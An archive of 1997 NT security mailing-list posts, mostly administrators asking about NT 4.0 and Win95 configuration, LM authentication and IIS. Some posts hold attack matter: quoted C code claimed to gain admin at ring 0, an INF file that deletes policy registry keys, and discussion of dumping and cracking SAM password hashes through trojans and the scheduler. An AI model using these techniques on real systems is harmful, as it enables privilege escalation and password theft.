-----END PGP SIGNATURE-----
Please, if anyone sould point me in the right direction on this issue:

Had to learn NT from the ground up over two months after something was thrown in my lap...

At this point I'm getting into the woods a little deeper.

The problem is as follows:

We are in a single room, one workgroup consisting of one NT server set up as a webserver, and two Win 95 systems. 

I would like to have secure share access to our NT server main root (c:\) where a 95workstation connects (using requisite MS client setup) over a Novell net. We have no hub hardware (nor will we ever) and use the net connection as a go between. Workgroups are setup, our two Win 95s see/share bilaterally, however it is unilateral where the NT machine is concerned. 

Logon from the Win95 computers prompts a dialog box "Entire Network Password" requesting a PW for "resource: \\severname\IPC$. 

Is there any documentation I should read for this? Or any tips to get started?

The security related issue here is not just one of using the Admin account over relatively "open line", but also setting up the proper network account system? I'm aware of some of the problem associated with this type of setup, but am unclear as to the solution.

Thank-you very much. 
-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 16 Jul 1997, Eric Germann wrote:

> Pretty much a security through obscurity thing, but one which is
> intriguing. Is there any way to discover it remotely? NBTSTAT -n displays
> the local name table with the scope ID, but NBTSTAT -A doesn't appear to.
> Set it to an obscur string and it may be a solution?????
Much the same solution like domainnames and YP :( Choosing an obscure name
is probably a good idea, the only problem is, that it will be revealed
probably to any local attackers :(

Andreas



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM842nFGrPWwMHrE1AQF3fAf/YBuum2PThAXerrr86wF3CeAofHLSQnec
4RVlfQ6Vt7FPw7QcqxTExxl5mS+P1bE/nMGL1uIZSt+fuFVAVmDU0psxFz4VRzml
3yn9sG3ihHK8LZliXN6hjp5WGUcfI0VMYxJUq+zS+f+++FZqsuPAAMyBr5WgTRDc
4sXW8Gb5vhwRxDdy3D/WmLW0LOWTdSDuj/Z7u2oESOURizgMrqflf2Q4iS7+su1D
O2L7K0qzGuObjlrLU2//jVsBeVQFoDazVvztAXjNPcLSxteWkV+4FhCzVYdFNOJY
zG+ajdVd0rVGsSBgP5dvMIAEppSJg3ORTQy/npHvTSdvHURuBmZboA==
=r15P
-----END PGP SIGNATURE-----
Our NTWST 4.0 (german, SP3) and NT Server 4.0 (german, SP1) does not 
audit the system shutdown (eventID: 513). I'm not sure, if this is a 
normal behavior. Can anyone reproduce this? Is this a bug or a configuration 
problem? Our NTrigue-Server (3.51, SP3) does audit correctly.

Thanks 
Falk Schmal
 
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
 
Falk Schmal BTU Cottbus, LS Rechnernetze und Kommunikationssysteme
+49 355 69 2752 fsch@informatik.tu-cottbus.de
http://www-rnks.informatik.tu-cottbus.de/~fsch
 
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
 
 
 
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
 

It was fixed byt the latest version of the hotfix (if you notice it has
been updated on the ftp site).

On Tue, 17 Jun 1997, Misha Gopaul wrote:

> Date: Tue, 17 Jun 1997 03:19:12 +0100
> From: Misha Gopaul 
> To: ntsecurity@iss.net
> Subject: [NTSEC] Getadmin after patch!!?!?!
> 
> Here's some code that i thought might be of interest to a few people.
> It is supposed to be able to "getadmin" even AFTER the patch has been
> installed...
> 
> ---------------------- QUOTE ----------------------
> 
> /*
> Run user code at ring 0
> Author: Costin RAIU 
> */
> void* a[2];
> void main(void) {
> int i;
> for (i=0;i<2;i++) a[i]=(void*)0;
> *(char*)(0x4080a4)=0x80; //or bptr [NtGlobalFlag+2],c1h
> *(char*)(0x4080a5)=0x0d;
> *(char*)(0x4080a6)=0xb6;
> *(char*)(0x4080a7)=0xc2;
> *(char*)(0x4080a8)=0x14;
> *(char*)(0x4080a9)=0x80;
> *(char*)(0x4080aa)=0xc1;
> *(char*)(0x4080ab)=0xcf;
> _asm
> {
> mov eax,4346
> mov edx,offset a
> int 2eh
> }
> }
> 
> ------------------- END QUOTE -------------
> 
> Any comments? - any ideas on how to prevent this one (oh btw, before i
> get shouted at cos it doesn't do anything of the sort, I haven't tested
> this. - (I haven't the means at the moment), however, i'm assured that
> it does...
> 
> cya 
> Misha
> 

Aleph One / aleph1@dfw.net
http://underground.org/
KeyID 1024/948FD6B5 
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 

Has anyone actually tested this? I read the KB article as saying that
this registry switch turns off LM authentication when the NT (server or
workstation) machine is acting as a client. I don't see where it says
that a server will not accept a LM authentication with this switch on.
I read this as a fix to stop your NT boxes from spewing LM
authentication stuff onto the wire in situations where it is
unnecessary, not a way to prevent an NT from accepting LM
authentication. That's what I want to see.

It's still early. I'm I wrong on this?

-s

Scott Blake, Corporate Network Manager
NeTegrity, Inc.
Blake@security.com


 -----Original Message-----
 From: webmaster@istn.net [SMTP:webmaster@istn.net]
 Sent: Wednesday, July 16, 1997 2:02 PM
 To: ntsecurity@iss.net
 Subject: [NTSEC] Turning of LM Authentication in all
Clients & Servers

 Check this out .. there is a patch at the Microsoft Site that
allows you
 to turn OFF yes OFF
 LM authentication alltogether on an NT Server and all it's
clients!!! ..
 The following is an excerpt from the Microsoft knowlegde base
with the
 FTP for where to get this..
 ------------------------>>>
 DOCUMENT:Q147706
 TITLE :How to Disable LM Authentication on Windows NT
 PRODUCT :Microsoft Windows NT, Windows 95, Windows for
Workgroups 3.11
 and LAN Manager 2.2c
 PROD/VER:2.2 3.11 4.0 95
 OPER/SYS:WINDOWS
 KEYWORD :kberrmsg kbfile ntsecurity NTSrvWkst ntstop


------------------------------------------------------------------------
--

 The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
 - Microsoft LAN Manager version 2.2c
 - Microsoft Windows for Workgroups version 3.11
 - Microsoft Windows 95

------------------------------------------------------------------------
--

 SUMMARY
 =======

 Windows NT supports the following two types of
challenge/response
 authentication:

 - LanManager (LM) challenge/response
 - Windows NT challenge/response

 To allow access to servers that only support LM authentication,
Windows
 NT
 clients currently send both authentication types. Microsoft
developed a
 patch that supports a new registry key that allows clients to be
 configured
 to send only Windows NT authentication.

 MORE INFORMATION
 ================

 Microsoft has posted the patch at the following Internet
location:

 NOTE: Service Pack 3 must be applied to Windows NT 4.0 prior to
applying

 this fix.


ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
 hotfixes-postSP3/lm-fix

 The new registry parameter was added to the following registry
key:

 HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\LSA

 Value: LMCompatibilityLevel
 Value Type: REG_DWORD - Number
 Valid Range: 0,1,2
 Default: 0

 Description: This parameter specifies the type of
authentication to
 be
 used.

 Level 0 Send LM and Windows NT authentication (default).
 Level 1 Send Windows NT authentication and LM authentication
only if
 the
 server requests it.
 Level 2 Never send LM authentication.

 If a Windows NT client selects level 2, it cannot connect to
servers
 that
 support only LM authentication, such as Windows 95 and Windows
for
 Workgroups.

 NOTE: If the last password change came from a Windows for
Workgroups or
 MS-
 DOS LanManager 2.x or earlier client, the data needed for
Windows NT
 authentication will not be available on the domain controller
and a
 client
 selecting level 2 will not be able to connect to Windows
NT-based
 servers.

 To eliminate LM authentication with protocols other than remote
file
 sharing (for example, Microsoft RPC, RAS, Internet Information
Server
 (IIS), or Internet Explorer -- anything that uses the NTLMSSP),
both the

 client and the server need to have the hotfix installed.

 After installing the hotfix, perform the following steps to
configure
 the
 LM compatibility level on a computer running Windows NT
Workstation or
 Server:

 WARNING: Using Registry Editor incorrectly can cause serious,
 system-wide
 problems that may require you to reinstall Windows NT to correct
them.
 Microsoft cannot guarantee that any problems resulting from the
use of
 Registry Editor can be solved. Use this tool at your own risk.

 1. Run Registry Editor (Regedt32.exe).

 2. From the HKEY_LOCAL_MACHINE subtree, go to the following key:

 HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\LSA

 3. Click Add Value on the Edit menu.

 4. Add the following two values:

 Value Name: LMCompatibilityLevel
 Data Type: REG_DWORD
 Data: 0 (default), 1, or 2

 5. Click OK and then quit Registry Editor.

 6. Shut down and restart Windows NT.

 STATUS
 ======

 Microsoft has confirmed this to be a problem in Windows NT
version 4.0.
 A supported fix is now available, but has not been fully
 regression-tested
 and should be applied only to systems experiencing this specific
 problem.
 Unless you are severely impacted by this specific problem,
Microsoft
 recommends that you wait for the next Service Pack that contains
this
 fix.
 Contact Microsoft Technical Support for more information.

 Additional query words: 4.00 prodnt win95 wfwg


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
 Q: How many consultants does it take to screw in a lightbulb?
 A: One. He just holds the lightbulb while the earth revolves
around him.


>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

________________________________________________________________________

 Jose A. Palacio
 Sr. Consultant
 Internet Security Specialist
 Grant Thornton LLP
 E-Mail: webmaster@istn.net
 www: http://jose.istn.net/

________________________________________________________________________

 - -----BEGIN SPAM WARNING-----

 WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
 VIA EMAIL WILL BE ADDED TO A FILTER LIST.
 I WILL ALSO BE PERSONALLY OFFENDED.. HE HE HE..
 WHO KNOWS WHAT I MIGHT DO IF I AM OFFENDED?!!
 PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
 THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
 EMAIL LIST.

 - -----END SPAM WARNING----
 << File: S/MIME Cryptographic Signature >> 

 I've seen a lot of interest on this list for a word list that is large in
size. A couple years ago, I created a list of 3.8 megabytes in size by
combining various dictionary files. It's not the biggest word list I have,
but it'll get just about any real word that someone might use as their
password. I've placed it on our web site at http://www.cavnet.com (Go to
Tech Area, it's on the bottom in the Security Files section). Additionally
in the .ZIP file that contains the ASCII word list is a freeware utility
that will run under DOS called UNIQ that will de-duplicate a word list.
Instructions are included on how to combine word lists into this one and
sort them and de-dupe them.

 Let me know if you have any questions/comments about it.


Frank Rundatz (frank@cavnet.com)
Custom Windows Programming
http://www.cavnet.com
At 15:16 1997.07.16 -0500, Jay Urbanski wrote: 

>>>>



Arial Well the topic says it all. I
need to grant advanced user rights for a 6000 server roll-out, and I
don't look forward to doing click, click, click 6000 times. Does anyone
know of a utitlity to grant user rights to groups and users from a
command line?


Jay Urbanski

<strops@well.com

<<<<<<<<


Jay, there is a standard command with NT called CACLS that run from the
command line and can be put into a script. It might be what you are
looking for and it's already on all your Windows NT servers and
workstations.


If it is not enough, there is a more advance version of the same command
called XCACLS available with the latest version of the Windows NT 4.0
Resource Kit.


Hope it helps.

----

Eric Beaudoin <

Groupe conseil DMR inc. <

(514) 877-3301

/lurk off
i read once that there was a way to raise the priority of a
program/thread...
i.e. raise the priority of task manager in case a higher priority thread
got hosed.
/prevent flamewar on
this seems on-topic cuz of some d-o-s attacks i've seen that hung a
higher priority service that you then couldn't kill...
/prevent flamewar off
any idears???????

/lurk on
 
 
 _
 I think the reason that read only stuffs up PWdump (the core of lopht 
 crack's ability to dump the sam) is that in order to read the sam you 
 need to be able to change the permissions on it. Read it and change 
 the permissions back. Write DAC allows a user to do this, read only 
 allows you to see the permissions (NT4).
 
 I have used this utility succesfully on local and network machines, it 
 was a while ago and I think the output file I got just had users, but 
 the temp file the utility created had the hashed passwords, which I 
 cracked by dictonary attack.
 
 I consider this program a major threat to the security of a network as 
 it can allow a very subtle use of others security. Auditng will detect 
 the initial intrusion, but won't tell what account is being used 
 subsequently.
 
 Yes you have to be admin, but say you remotely planted a trojan and 
 then edited the registry on, say, the admin's workstaion or the PDC so 
 that on a particuar event the trojan runs pwdump and dumps the file to 
 an accesible area. This is possible, even easy. Then you crack the 
 file. So from being a user you have all passwords and more 
 significantly as people tend to have the same passwords for serveral 
 systems (if it's numbers it's probably their pin for the atm as well 
 :) you potentially have access to their mail, mainframes, routers etc. 
 Hours of fun.
 
 
 Ralph.
 
 
 -----BEGIN PGP SIGNED MESSAGE-----
 
 On 16 Jul 97 at 16:59, Doug Roberts wrote about: RE: [NTSEC] [Fwd: 
 L0phtcrack 1.5]
 
 > >Check and compare the security settings on a failed and the
 > >successful machine. You probably don't have read rights on the SAM 
 > >key, which is good :)
 >
 > Yep - that was it. The one machine that was vulnerable had
 > administrators with Read and Write DAC permissions. Changing that to 
 > Read only makes the crack fail.
 
 Hm, I would think that the READ right is the one that would let you 
 read the SAM database. Why would Read-Only make this fail... anyone?
 
 
 In your other post you wrote:
 
 > A crack that requires admin status is a dubious crack, no? I admit > 
 it's a great thing to be able to unlock all the users on the
 > machine, but the requirements for this crack seem high if an NT > 
 newbie such as myself has systems that are (relatively) secure > 
 against it.
 
 Not really. There may be other 'open doors', where user can remotely 
 place a program on the server and use the Scheduler service to run the 
 program. I see a lot of systems where the scheduler service is still 
 set to 'manual' start-up (If you don't need the service, DISABLE it) 
 and starting under the System account. That way the program could run 
 under the System authority and suck down the Registry. (Would be 
 really genius to run the brute force attack on that machine as well, 
 would save you system resources...grin)
 
 
 Frank
 
 This is all in the policy editor documentation. Read it.
 
 Then use the NT editor for multiple policy editing.
 
 Davi


______________________________ Reply Separator _________________________________
Subject: [NTSEC] Win95 Poledit Questions
Author: Jan Nelson at internet
Date: 7/16/97 5:31 PM


Delivered-To: nt-out-link@iss.net
Delivered-To: nt-out@iss.net
Sender: owner-ntsecurity@iss.net
Precedence: bulk
Reply-To: Jan Nelson 
X-Loop: ntsecurity
X-Comment: TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net 
X-Comment: DO NOT send subscribe/unsubscribe messages to ntsecurity@iss.net 
--------------------------------------------------------------------------------
How to create multiple policies on a standalone system?
 
How to lock down the local disc drives to read only status by user, group polici
es?
 
How to create a default set of mutli-user policies that can be installed in a Wi
n95 peer network?
 
Sample policy files to use as templates?
 
Is third party software necessary to lock down workstations?
 
TIA
 
The collected questions of the classroom of Jan at U of Idaho.
Try starting the crack program using the AT command, which would give it 
"system" level access, and that gives it full control of the SAM key 
without you having to change the permissions.

Don

-----Original Message-----
From: Doug Roberts [SMTP:dougr@headspace.com]
Sent: Wednesday, July 16, 1997 9:00 PM
To: FKnobbe@BellSouth.net; ntsecurity@iss.net
Subject: RE: [NTSEC] [Fwd: L0phtcrack 1.5]

>Check and compare the security settings on a failed and the
>successful machine. You probably don't have read rights on the SAM
>key, which is good :)
>
>

Yep - that was it. The one machine that was vulnerable had administrators
with Read and Write DAC permissions. Changing that to Read only makes the
crack fail.

The one drawback I see to this setup is that I would have to go up to the
SAM key, rest the permissions to allow writing to the DAC and replace
that permission recursively.

Anyone see other problems?

Doug Roberts
dougr@headspace.com
>>Not really. There may be other 'open doors', where user can remotely
place a program on the server and use the Scheduler service to run the
program. I see a lot of systems where the scheduler service is still
set to 'manual' start-up (If you don't need the service, DISABLE it)
and starting under the System account. That way the program could run
under the System authority and suck down the Registry. (Would be
really genius to run the brute force attack on that machine as well,
would save you system resources...grin)<<

By default you need administrator rights to use the Scheduler service, so that doesn't change things much.

Don


Hi,

Could be that this was mailed already but I didn't see any messages when
I posted this.

NTInternals seem to be back on www.ntinternals.com

Bye,
Reinout

Hi all!,

well..this is the question.....

i have 5 NT servers, 3 with modem...i just granted some users to 
dialin...it works perfect Netbios and IPX/SPX.....the thing is that i 
installed Microsoft DHCP Server to give the users IP when they 
dialin, but it isn´t working........i created a scope in the DHCP 
Manager but still it didn´t work......how do i give ip????, wich 
services or servers i need to install?

Thankxs 

Jorge Avila
Mexico Direct
Internet Applications Engineer
avila@mexdirect.com
The only problem with this statement is that there is no "Deny All" option... only Permit All and Permit Only...

-----Original Message-----
From: Alan Thew [SMTP:Alan.Thew@liverpool.ac.uk]
Sent: Wednesday, July 16, 1997 4:27 PM
To: gregg_david
Cc: webserver-nt@DELTA.PROCESS.COM
Subject: Re: Disabling ports

You can either 
1) permit all and then selected which ones you want disabled
2) Deny all and select what you want enabled.

--
Alan Thew alan.thew@liverpool.ac.uk
Computing Services,University of Liverpool Fax: +44 151 794-4442

On Wed, 16 Jul 1997, gregg_david wrote:

> 
> How do I disable selected ports on NT4.0?
> 
> The only way I have found is via the advanced properties for 
> tcpip,enable security, which disables ALL ports. You then must enable 
> every port you want open. I dont want to do it this way!
> 
> 
> Any ideas?
> 
> 


Hi all,
Does anyone know of a port of Tripwire to NT?
If not, has anyone encountered a commercial, freeware or shareware utility that will perform a similar function?

Cheers,
Dave Meibusch
d.meibusch@abm.com.au


System Service Security Issue
Read the last paragraph first......
Currently 3rd party Non -Microsoft (non-MS) software suppliers are making 
use of administrator type accounts and the local System Account as a 
default standard for system services to logon to the system. The vendors 
primary reason for doing this is for the novice installers.

Large companies (1000+ of servers) make use of script installation builds. 
 This means that the same user name and password for each system services 
may be repeated each time that an NT server or workstation is built. Even 
with the best control on the access of such build data, this may result in 
a security compromise of that data getting out. A large organization can 
not change every user name and / or password on every system service that 
used a script build.

The use of the administrator group account is a major security issue if 
used by system service to logon to the system. Removing the User Rights 
"access this computer from the network" from the administrator account 
group is not an option.

In a bid to improve security, software vendors were asked to provide the 
user rights needed to make their software work without local system or 
administrator account authority. The vendors were told that an account 
would be created for them. Some manufacturers were unable to provide the 
required information because they were unaware, what User Rights were or 
interpreted User Rights as Accounts. The only information provided by these 
manufacturers were that administrator type accounts and the System Account 
are the only accounts that work.

This is not just a large company problem. It is a small company problem 
too. Many NT system administrators installing applications fail to realize 
that the service they are installing is using local system or the 
administrator account. The use of the administrator group account will 
leave a back door to your system open for any one who knows the user name 
and password e.g. "retired administrators" from your organization.

They got you, if you allow local system account to be used as a system 
service login:
True Example: for Windows NT 3.51 and 4.0 most Anti-virus vendors require 
the local system account and require their device drivers to be loaded at 
boot time to operate. The use of local system account is not discernable in 
auditing from other services using the same account. Any applications 
running in this prospective have unlimited rights and may not be audited as 
that particular application, or even audited at all. This may result in any 
security compromise going undetected with local system accounts and device 
drivers.
End true example:
Consider the movie "THE NET" where an Anti-virus manufacturer had a hidden 
backdoor, allowing undetected access to the system it was run on. Your 
worst nightmare is now possible.
If there was a back door how could you tell. Just considering all my the 
option.

 Thank you for your time,
Jules Campbell
Westpac Banking Corp, NT Technical Consultant.
I light the way and mark the hole. So don't try do it.
jsoup@pobox.com




Hey,

Does anyone know if privileges can be set for each services. Some
services allow users to interact with it. For example, could the
scheduler service (running as under an admin acct) be used by a regular
user to get information that only admins have access to ?

Aymeric.




Hey there,
does someone know, if there's a tools to change the user rights (not the
permissions) such as "act as part of the operating-system" or "rais a
quota" from the command line ?


Mit freundlichen Grüßen
Wilko Krautter
CompuNet






Hey there,

does someone know, if there's a tools to change the user rights (not the
permissions) such as "act as part of the operating-system" or "rais a
quota" from the command line ?


thanks,
Wilko Krautter



And this damn well IS security related.

Nice tools. Not looked but front page says
some utilities and articles are missing.

"Who do you want to sue, today?"
"Peace, Wesley" thus spake unto me:
> There is actually a much better method to use. One which MS actually
> uses.
>
> Each user must Login to the domain; if you notice, there is an option to
> run a Login script.


This depends on when the legal notice must be visible. If it must be
visible prior to a user attempting a login then a login script certainly
won't work.


---
Paul M. Cardon - System Officer
Capital Markets Systems - First Chicago NBD Corporation
pmarc@cmg.fcnbd.com - (312) 732-7392

Sisyphus and loving it.


I never give them hell. I just tell the truth and they think it's hell. 
 - H. Truman


MD5 (/dev/null) = d41d8cd98f00b204e9800998ecf8427e



The problems with Internic and .com domains 
is hack attack. There are more info about what happens?

InterNIC Who?

by Michael Stutz
12:03pm 16.Jul.97.PDT "Should we kidnap
www.whitehouse.gov?"

That was the topic of discussion at Eugene Kashpureff's
coffee table Tuesday morning. While holding InterNIC - the
registry for the most popular top-level domains on the Net,
such as .com and .org - hostage for 120 hours, Kashpureff
had essentially taken InterNIC's Web site off the Net and
replaced it with his own AlterNIC.

Meanwhile, all is quiet at InterNIC. Aggie Nteta,
spokeswoman for Network Solutions Inc. - InterNIC's
current government-appointed keepers - said, "I can't
really speculate - we're still evaluating the situation, but
hopefully [a decision] will be made soon."

Nteta said that last weekend's spoof appeared to have ended
on Monday morning, but even Wednesday afternoon some
name servers still resolve www.internic.net to
www.alternic.net.

AlterNIC, an alternative domain registry that does not
follow the government-appointed mandates for TLDs, has
pulled domain pranks before - such as propagating AlterNIC
sites to the Net like www.per earlier this summer. But this
week's hack, which redirects someone else's domain, tops
even that.

George Herbert is one of three security consultants who
Kashpureff says has done a full analysis of the hack. "All
three of them have the common sense to just shut up," said
Kashpureff. "If they're not awed by what I've done - by the
algorithm itself - they're horrified by it."

"What Eugene has done," said Herbert, "is hack the response
packets to DNS queries to his server."

The Domain Name System is the Net's method for turning
host names - such as www.website.com - into their
respective Internet Protocol addresses. There is no one
central authority for providing this information, but like
much of the Net's protocols, it is distributed across
thousands of name servers which provide the Net with
information about local domains.

When you request a host - such as when using the Web -
your computer must first query a name server to obtain
that host's IP address. But when the server replies with the
domain record in question, there is room for an additional
record to be sent, said Herbert. "The intent behind
additional records is to put things like the IP addresses of
name servers in the first query," he said. This allows for an
efficient means of accessing the proper name server should
further queries for that domain be made.

However, he said, nearly all the DNS clients - such as on a
typical netizen's computer - accepts this information as
valid and saves it without checking it first.

This tacked-on information can be records that have nothing
to do with the actual query that was sent - in fact,
information can be pushed out involving any TLD
imaginable, without having an entry in the world's global
root name servers. Or, as Kashpureff has demonstrated with
InterNIC, current domains can be redirected to anywhere
else.

Some, such as Paul Vixie, say that this was an old hack
waiting to happen; Vixie said he published a document a few
years ago describing it, and said that it can be fixed by
simply upgrading to a more recent version of Berkeley
Internet Name Domain (BIND), the name-server software
most commonly used on Unix systems.

The attack is a protest, Kashpureff said, of Network
Solution's claim to ownership of the TLDs it currently
manages. "Who's to say for the people of the world that .gov
should belong to the US government?" asks Kashpureff.
"Why should .mil belong to the US military? I'm not a
warmonger, but why can't all the warmongers of the world
have their own domain that we can filter out?"

Always one to skirt the edge of legality, he believes that the
attack breaks no laws: "Every minute that goes by, they lose
their legal ground to stand on," he said, "due to the fact that
I've received zero requests to turn this thing off! They
know I'm doing it - it's been reported in the media and I've
got hit logs of just about every one of the internal Network
Solutions machines coming through my pages. It's their
duty, legally, to at least ask me to stop if they've found
something wrong."

But even if a cease-and-desist letter does come, he said,
the damages amount to nil. It isn't a complete
denial-of-service attack because alternate links - such as
http://internic.net/ - still work, and a link to it exists on
the redirected page. Besides, he said, he has yet to receive a
user complaint.

Network Solutions' silence on the matter is indicative of its
fear, Kashpureff said. "It's not hard to tell the reason
behind that - the more they talk, the more of a news story
it's going to become," he said. "If Network Solutions gets
me, I'm going to become a bigger martyr than Phil
Zimmermann."

Others believe that Kashpureff has made a grave mistake.
"I think he's going to get charged with violations of the
federal computer crime act, and odds are that MCI and
Sprint, his upstreams, will disconnect him once they
identify that the investigation shows he really did it," said
Herbert. "It was a really, really dumb thing for Eugene to
do."

Now that details of the technique are available and that
nearly all machines on the Net are vulnerable, Herbert is
waiting for a flood of DNS forgeries to begin.

"I'm truly demonstrating the power of what it is that we can
do," said Kashpureff. "We can literally go down through the
top 100 Web sites and switch them one-for-one, finding
the best match - we can have all kinds of fun with this
thing. I can take China off the air if I choose to do so."

Source: Wired News


 --------------------------------------------------------------------
 NETNAMES * The INTERNATIONAL INTERNET NAME REGISTRY
 Registering Domain Names in over 160 countries
 Business to business * Professional service * Automated system
 http://www.netnames.co.uk +44 171 224 2017 UK Freephone 0800 269049
 patrick@netnames.com
 --------------------------------------------------------------------


----------------------------------------------------
Normas para el correcto uso del correo electrónico:
 http://www.rediris.es/mail/estilo.html
----------------------------------------------------




At 12:31 7/17/97 -0400, Ray wrote:
 
>The AT command won't schedule shit unless you're an administrator. 

Not entirely true. It will also schedule things as server operator. There
is a registry value that can be set which enables this (oddly enough, I
think server ops have permission to set it), and if you look at the schedule
entry under services, you'll see server ops can write it.

I'll grant you server ops are very close to admins, but...

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

Has anyone found this? The URL does not resolve to a host, and the domain ieway.com does not have a MX record
for STMP, so I can't email the Greg (the original poster).

Thanks

Brian James Mulford 
mailto:bmulford@deilink.com - news:alt.brian

Data Enhancement International, Inc.
2361 Campus Drive Suite 215
Irvine California 92612

Phone (714) 833-3672 Fax (714) 833-8572
http://www.deilink.com ftp://ftp.deilink.com

Image is everything. People's perceptions of reality overshadow true reality. 
It's all in the building of perception. It's the creation of an image. 
Substance is no longer of any importance.

----------
From: "Greg Hoglund" 
Sent: Wednesday, July 16, 1997 10:29 AM
To: 
Cc: 
Subject: [NTSEC] S.A.T.A.N. for NT 4.0


I have been working on a port scanner/database for NT for quite some time. 
It is actually quite fast, and supports burst scanning an entire class C. 
It does use winsock 2, so you need to have NT 4.0 Workstation or Server,
and an 800x600 display. 

Please download a copy from www.asmodeus.com

For those of you who have already seen asmodeus, this is a new version with
significant enhancements. Please contact me and let me know what you think
of the program, how I can improve it for your needs, etc etc.. This has
been an ongoing project for me and I plan on supporting it. Information on
contacting me can be obtained from the About Box.

Thanks in advance,

-Greg Hoglund
hoglund@ieway.com
 
> I have found only one solution:The username must be the same as the
> subdir of the ftproot. The User Manager settings don't apply, although
> they should...
> Using this workaround means that you have adjust IIS ftproot to match
> your users dir.

 Correction: by creating a virtual directory in the ftproot-directory
and to have it pointing into the user's home directory does the trick as
well. (Or did I misunderstand your last sentence?)

-- 
Juha Jäykkä, juolja@utu.fi
>>You need to set the computer to have multiple user profiles in the 
Password
control panel applet. You need to be very careful about how the default
user is set up. This is something I am not clear on.<<

Hmmm... Are you referring to the fact that not logging on can override the 
policies?

What can happen: You are someone who has full access as determined by the 
group you are in with the policies. You logon to a regular user's 
restricted machine. Since you never logged on to this machine before, win95 
asks if you want to have your own user profile created on the system. Since 
you don't want to fill up machines with unneeded user profiles, you say no. 

What you've done through the policy is to change the default user's 
permissions so it has the same unrestricted access to the machine as you 
normally do. From now on, if someone skips the logon, which causes win95 to 
load the default user profile, he would also have unrestricted access to 
the machine.

You can fix it by logging on with a restricted ID that has no local 
profile, and saying no when win95 asks if you want to create one.

Of course, any user can get a hold of the policy editor and unrestrict 
themselves temporarily, or they can "install" an INF (maybe name it 
getadmin.inf) that has this in it:

[version]
signature=$CHICAGO$

[DefaultInstall]
DelReg=Recover

[Recover]
HKCU,Software\Microsoft\Windows\CurrentVersion\Policies,


Don



How would one go about distributing a secuity policy from a server to all
the workstations in the same domain? The users logging into the
workstations are "local users" and not "domain users" so this is
necessary. (We're forced to use local users due to limitations of our NIS
authentication package -- freeware.) If it is not possible to
automatically distibute it, where in the workstation filesystem does it
belong in?
Thanks in advance!

 -Bart
 Pola@cns.uni.edu
 CNS NT Manager

 That's because InterNIC's root server went down yesterday and screwed the
whole 'Net up... I got a message today saying everything should be back to
normal now

-----Original Message-----
From: Greg Hoglund 
To: ntsecurity@iss.net 
Date: Friday, July 18, 1997 3:58 PM
Subject: [NTSEC] Asmodeus.com = 204.188.52.99




Some people have been having trouble getting www.asmodeus.com to resolve.

Please try the IP:
204.188.52.99

Sorry for the inconvenience.

-Greg Hoglund
hoglund@ieway.com

p.s. If you didn't catch the earlier post, asmodeus is a port scanner for
Windows NT. Please download a copy and let me know what you think. It's
pretty fast.



Hej! Jag är på semester från 19/7 -- 17/8. Jag bevakar min E-post lite sporadiskt under denna period. 
 
Hi, I'm on summer leave between 19/7 -- 17/8. I will not be reading my e-mail on a regular basis during this period. 

Kontakta kontoret om det brådskar. 
Please contact our office if the matter is urgent. 


Hej då! / Thanks!

Jonas

---------------------------------------------------------------------------
Jonas Sultan Tel: +46 - 46 - 31 26 55
Martinsson IS FAX: +46 - 46 - 31 26 26
Bredgatan 10 Mob: +46 - 70 - 593 78 40
S-222 21 LUND E-mail: jonas.sultan@factum.se
SWEDEN 
 >I am having trouble implementing a Verisign SSL certificate on an NT4.0
>SP3, IIS3.0 webserver. I believe the service pack to be the us version as
>it was found under the US\bussys ftp directory. The certificate is the one
>that costs 290.00, and says that it is by RSA\Verisign for webservers). I
>installed it no problem. Key manager says it is ready to go. Then I apply
>it to a directory by checking the 'Require Secure Channel' box, and restart
>the w3 service. (rebooted just in case) Server comes up OK. W3svc starts
>no trouble. I can access the unprotected stuff just fine, but when I try
>to access a page in this directory (ht tps://server/vroot/page.asp), I get
>a message that says:
>
>403 Access Forbidden
>Secure Channel required. This virtual root requires a browser that supports
>the configured encryption options.
>
>I have tried IE3 and Netscape 4. IE3 shows RSA\Verisign secure server
>certificate in the allowed certificates interface, and I have toggled all
>of the settings to allow this kind of transaction. I have had others try
>it over the web and I have tried several client machines to be sure. No go.

Unbelivable!

I am affraid that I cannot help you (I am searching for an answer my self!)
Ok, here what happened to me:

I installed Verisign TEST Certificate for IIS3.0 web server on NT4.0SRV.
Everyhing passed very well, and just when I started to feel lucky, I secured one folder on a web server and wanted to connect to it from my web browser. I got THE SAME ERROR as you did man.

On Versign site, they say that you have to install special certificate on browser side for this special kind of a test certificate. I installed it but it doesnt seems to work with it eather (I used MSIE4 4.71.1008.3 and after installing this certificate, I haven't see it in list of installed certificates).


Wonder is there a walktrough trough this? I remember, some time ago, a guy posted a message something about throwing away his money for this Verisign certificate wich he couldnt be able to install on his IIS2 webserver.

any commenct?



Juha =?iso-8859-1?Q?J=E4ykk=E4?= wrote:
> 
> > I have found only one solution:The username must be the same as the
> > subdir of the ftproot. The User Manager settings don't apply, although
> > they should...
